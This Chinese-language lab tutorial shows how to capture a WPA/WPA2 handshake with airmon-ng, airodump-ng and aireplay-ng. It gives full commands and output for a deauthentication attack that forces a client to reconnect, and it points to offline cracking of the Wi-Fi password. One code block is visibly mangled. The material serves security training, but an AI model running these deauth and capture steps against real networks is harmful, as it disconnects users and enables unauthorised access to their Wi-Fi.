如何使用airodump-ng手动捕获WPA握手数据包
作者:火苗实验室
时间:2026-08-17
转载
引言 WPA WPA2 四次握手是现代 Wi‑Fi 安全机制中的核心环节。它的作用是让客户端与无线接入点(AP)在**不直接传输预共享密钥(也就是 Wi‑Fi 密码)**的前提下,验证双方都掌握了正确的密钥信息。对于无线安全测试来说,成功捕获这一握手过程,通常是后续进行字典破解或暴力破解、恢复
## 引言
WPA/WPA2 四次握手是现代 Wi‑Fi 安全机制中的核心环节。它的作用是让客户端与无线接入点(AP)在**不直接传输预共享密钥(也就是 Wi‑Fi 密码)**的前提下,验证双方都掌握了正确的密钥信息。对于无线安全测试来说,成功捕获这一握手过程,通常是后续进行字典破解或暴力破解、恢复 Wi‑Fi 密码的第一步。
在本实验中,你将学习如何借助功能强大的 Aircrack-ng 工具集来完成 WPA/WPA2 握手捕获。我们会使用 `airmon-ng` 将无线网卡切换到监听模式,使用 `airodump-ng` 扫描并定位目标无线网络,再通过 `aireplay-ng` 触发客户端重新认证,从而生成可供捕获的握手数据包。
本实验尽量贴近真实无线渗透测试场景。你将获得一个无线接口 `wlan0` 和一个目标 Wi‑Fi 网络,用于在实验环境中练习完整的 WPA 握手抓包流程。
## 将无线适配器置于监听模式
在这一步中,我们需要先准备无线适配器,以便捕获周围的 Wi‑Fi 网络流量。默认情况下,无线网卡工作在“托管模式”(Managed Mode)下,这意味着它主要处理与自身相关的通信数据。若想抓取空中传输的全部无线数据帧,就必须把它切换到“监听模式”(Monitor Mode)。这里我们将使用 `airmon-ng` 完成这一操作。
首先,先确认无线接口名称。打开终端后,运行 `iwconfig` 命令。
```bash
iwconfig
```
你应该能看到系统中列出的网络接口,通常无线接口名称为 `wlan0`。
```plaintext
lo no wireless extensions.
eth0 no wireless extensions.
wlan0 IEEE 802.11 ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:on
```
现在,使用 `airmon-ng` 在 `wlan0` 接口上启用监听模式。需要注意的是,这条命令可能会终止一些会干扰抓包的网络进程。
```bash
sudo airmon-ng start wlan0
```
输出结果会提示监听模式已经开启。通常它会创建一个新的虚拟接口,一般命名为 `wlan0mon`,后续抓包就使用这个接口。
```plaintext
Found 2 processes that could cause trouble.
Kill them using 'airmon-ng check kill' before bringing up the interface in monitor mode.
PID Name
591 wpa_supplicant
668 dhclient
PHY Interface Driver Chipset
phy0 wlan0 ath9k Atheros Communications Inc. AR9271 802.11
(mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)
(mac80211 station mode vif disabled for [phy0]wlan0)
```
你还可以再次执行 `iwconfig`,检查新接口 `wlan0mon` 是否确实进入了监听模式。
```bash
iwconfig wlan0mon
```
如果配置成功,输出中应显示 `Mode:Monitor`。
```plaintext
wlan0mon IEEE 802.11 Mode:Monitor Frequency:2.457 GHz Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:off
```
## 运行 airodump-ng 以查找目标的 BSSID 和频道
在这一步中,我们将使用 `airodump-ng` 扫描无线信号并识别目标 Wi‑Fi 网络。`airodump-ng` 是 Aircrack-ng 套件中的常用工具,能够捕获 802.11 数据帧,并发现附近的无线接入点以及已连接的客户端设备。
现在接口 `wlan0mon` 已经处于监听模式,可以开始扫描了。在终端中运行下面的命令:
```bash
sudo airodump-ng wlan0mon
```
执行后,终端中会显示 `airodump-ng` 检测到的所有 Wi‑Fi 网络。界面通常分为上下两部分:上半部分列出无线接入点(AP),下半部分列出对应的客户端(Station)。
下面是几个需要重点关注的字段:
- **BSSID**:接入点的 MAC 地址,也就是该 AP 的唯一硬件标识。
- **CH**:无线网络当前使用的信道(频道)。
- **ESSID**:用户平时看到的 Wi‑Fi 名称,例如 “MyHomeWiFi”。
以下是一个典型示例:
```plaintext
CH 6 ][ Elapsed: 3 s ][ 2023-10-27 10:30
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:11:22:33:44:55 -30 10 0 0 6 54e WPA2 CCMP PSK LabEx_WiFi
C8:D3:FF:A1:B2:C3 -65 8 0 0 1 54e WPA2 CCMP PSK AnotherWiFi
BSSID STATION PWR Rate Lost Frames Probe
```
在本实验中,目标网络是 `LabEx_WiFi`。从上面的扫描结果中,可以识别出它的 **BSSID** 为 `00:11:22:33:44:55`,**CH** 为 `6`。这些参数将在下一步锁定目标网络时使用。
记下目标的 BSSID 和信道后,在终端中按 `Ctrl+C` 停止扫描。
运行 airodump-ng 时,这一步需要把抓包范围进一步收紧到目标网络本身。原因很直接:如果还像上一步那样进行全频道扫描,无线网卡就会持续执行“频道跳转”(channel hopping)。而 WPA 四次握手出现的时间窗口很短,一旦恰好发生在切换信道的间隙,就很容易漏抓。
为了更稳定地捕获握手,需要让 `airodump-ng` 固定在目标信道上监听,并且只接收来自指定 BSSID 的流量。
此外,这里还要配合 `-w` 参数,把抓到的数据包保存到文件中。后续分析 WPA 握手、进行离线破解时,都会依赖这些保存下来的抓包文件。
根据上一步得到的 BSSID 和信道(`00:11:22:33:44:55` 和 `6`),可以执行下面的命令。这里将输出文件命名为 `handshake_capture`。
```bash
sudo airodump-ng --bssid 00:11:22:33:44:55 -c 6 -w handshake_capture wlan0mon
```
命令执行后,`airodump-ng` 的界面会发生变化。此时它只会显示 `LabEx_WiFi` 这个目标网络的相关信息,同时还会列出所有连接到该网络的客户端(STATION)。
```plaintext
CH 6 ][ Elapsed: 10 s ][ 2023-10-27 10:32 ][ WPA handshake: ...
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:11:22:33:44:55 -32 100 25 10 1 6 54e WPA2
``` CCMP PSK LabEx_WiFinn BSSID STATION PWR Rate Lost Frames Probenn 00:11:22:33:44:55 AA:BB:CC:DD:EE:FF -40 1- 1 0 15n```nn**重要提示:** 保持此终端运行。我们需要它继续捕获。对于下一步,你必须打开一个**新的终端窗口**。你可以通过再次点击环境中应用程序坞(dock)中的终端图标来完成此操作。n
## 使用 aireplay-ng 去认证客户端
在这一步中,我们将主动触发握手过程。WPA/WPA2 四次握手只会在客户端连接到接入点,或从断线状态重新连接时产生。如果客户端已经稳定在线,单纯等待它自然断开再重连,往往效率较低,可能需要很长时间。
更常见的做法是使用“去认证攻击”(deauthentication attack),强制客户端暂时断开连接。
我们将借助 `aireplay-ng` 向目标客户端发送特制的去认证数据包,让它误以为自己已经被 AP 断开。之后,客户端通常会自动重新连接无线网络,这样就会重新生成 WPA 握手,而这个握手正是前一个终端中 `airodump-ng` 正在等待捕获的内容。
查看第一个终端窗口,也就是运行目标 `airodump-ng` 的那个窗口。在 `STATION` 一栏中,你会看到连接到目标 Wi‑Fi 的客户端 MAC 地址。在本实验里,我们假设客户端 MAC 地址是 `AA:BB:CC:DD:EE:FF`。
接下来,在你**新打开的终端窗口**中执行以下 `aireplay-ng` 命令:
- `--deauth 5`:发送 5 个去认证数据包,通常这已经足够触发客户端重连。
- `-a 00:11:22:33:44:55`:指定目标接入点的 BSSID。
- `-c AA:BB:CC:DD:EE:FF`:指定目标客户端的 MAC 地址。
```bash
sudo aireplay-ng --deauth 5 -a 00:11:22:33:44:55 -c AA:BB:CC:DD:EE:FF wlan0mon
```
运行后,你会看到 `aireplay-ng` 的输出信息,确认正在发送去认证数据包。
```plaintext
10:35:10 Waiting for beacon frame (BSSID: 00:11:22:33:44:55) on channel 6
10:35:11 Sending 64 directed DeAuths. STMAC: [AA:BB:CC:DD:EE:FF] [ 5|62 ACKs]
```
接下来,我们检查握手是否已经成功捕获。
## 在 airodump-ng 窗口中确认握手捕获
最后一步是确认是否已经成功抓到 WPA 握手。刚才执行的去认证操作,理论上应该已经让客户端重新连接目标 AP,而 `airodump-ng` 也应当捕获到了这次重连产生的四次握手数据。
现在把注意力切换回**第一个终端窗口**,也就是持续运行 `airodump-ng`、并锁定 `LabEx_WiFi` 的那个窗口。
观察 `airodump-ng` 界面的右上角。如果抓包成功,你会看到类似下面的提示信息:`[ WPA handshake: 00:11:22:33:44:55 ]`。
```plaintext
CH 6 ][ Elapsed: 45 s ][ 2023-10-27 10:35 ][ WPA handshake: 00:11:22:33:44:55
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:11:22:33:44:55 -32 100 80 115 8 6 54e WPA2 CCMP PSK LabEx_WiFi
BSSID STATION PWR Rate Lost Frames Probe
00:11:22:33:44:55 AA:BB:CC:DD:EE:FF -40 1-11 0 98
```
看到这条提示,就说明你已经成功完成了 WPA/WPA2 四次握手捕获。
此时你可以按 `Ctrl+C` 停止两个终端窗口中的相关进程。
抓取到的数据包,包括握手信息,已经保存在当前目录下。你可以使用 `ls -l` 命令列出这些文件。
```bash
ls -l
```
你应该会看到多个以 `handshake_capture` 开头的文件,其中最关键的是 `handshake_capture-01.cap`。
```plaintext
-rw-r--r-- 1 root root 452 Oct 27 10:36 handshake_capture-01.cap
-rw-r--r-- 1 root root 1234 Oct 27 10
```
这个 `.cap` 文件就是后续分析的重点。它已经包含了 WPA 握手数据,之后可以结合 `aircrack-ng`、`hashcat` 等工具,进一步执行离线密码破解尝试。
总结
恭喜,你已经完成本次实验。到这里,你实际上已经掌握了 Wi‑Fi 安全测试中一项非常基础但又极其关键的技能:手动捕获 WPA/WPA2 四次握手。
通过本次实验,你已经学习并实践了以下内容:
1. 使用 `airmon-ng` 将无线网卡切换到监控模式(monitor mode)。
2. 扫描周边无线网络,并借助 `airodump-ng` 识别目标 Wi‑Fi。
3. 让 `airodump-ng` 锁定指定 BSSID 和信道,持续捕获目标流量,并把抓包结果保存到文件。
4. 使用 `aireplay-ng` 发起去认证攻击,迫使客户端重新连接。
5. 在 `airodump-ng` 的输出界面中确认 WPA 握手已经被成功捕获。
你生成的这个 `.cap` 文件,保存的正是非常有价值的握手数据。在真实无线渗透测试场景中,下一步通常会基于这个抓包文件继续尝试恢复 Wi‑Fi 密码,而这部分内容会在后续实验中进一步展开。至少到目前为止,你已经对手动抓取这类关键无线认证数据的完整流程建立了扎实理解。
游乐网为非赢利性网站,所展示的游戏/软件/文章内容均来自于互联网或第三方用户上传分享,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系youleyoucom@outlook.com。
DDoS攻击的三大主要形式:原理、特征与防御重点
DDoS攻击主要分为基于流量(Volume)、基于应用层(Application)和基于协议(Protocol)三种形式。流量型攻击通过海量数据淹没带宽;应用层攻击利用Web漏洞耗尽服务器资源;协议层攻击则利用TCP握手缺陷导致系统挂起。了解这些原理是制定针对性防御策略的基础。
如何有效预防和缓解DDoS攻击:5大核心策略详解
面对DDoS攻击,单纯增加带宽已非长久之计。本文详解5大核心防护策略:优化网络硬件配置、建立DNS冗余机制、部署透明缓解技术、引入负载平衡器及专用Anti-DDoS模块。通过合理组合这些技术手段,可有效抵御SYN泛洪、Slowloris等常见攻击,保障业务连续性与网站可用性。
DDoS防护四大误区:CDN、防火墙与黑名单的局限性解析
许多企业误以为CDN、防火墙或黑名单能完全抵御DDoS攻击。本文深入解析四大常见误区:CDN仅提供部分缓解、静态黑名单易失效、防火墙算力有限且可能成为目标、阈值警报仅具滞后性。了解这些局限性,有助于构建更立体的防御体系,避免在攻击发生时措手不及。
常见DDoS攻击类型详解:原理、特征与防御策略
本文详细解析四种常见DDoS攻击类型:SYN Flood利用TCP三次握手缺陷耗尽资源;UDP Flood通过海量数据包造成带宽拥塞;ICMP Flood利用Ping请求消耗系统算力;应用层Flood针对Web脚本进行高频请求。了解其原理是制定有效防御策略的基础。
如何有效抵御DDOS攻击:4种核心防护方案解析
面对DDOS攻击,企业需构建多层防护体系。本文详解四大核心策略:利用反向路由器查询进行流量清洗,通过GCDN智能分配节点隐藏源站IP,部署负载均衡硬件分担压力,以及接入高防机房抵御数百G恶意流量。掌握这些技术,可最大程度保障业务连续性。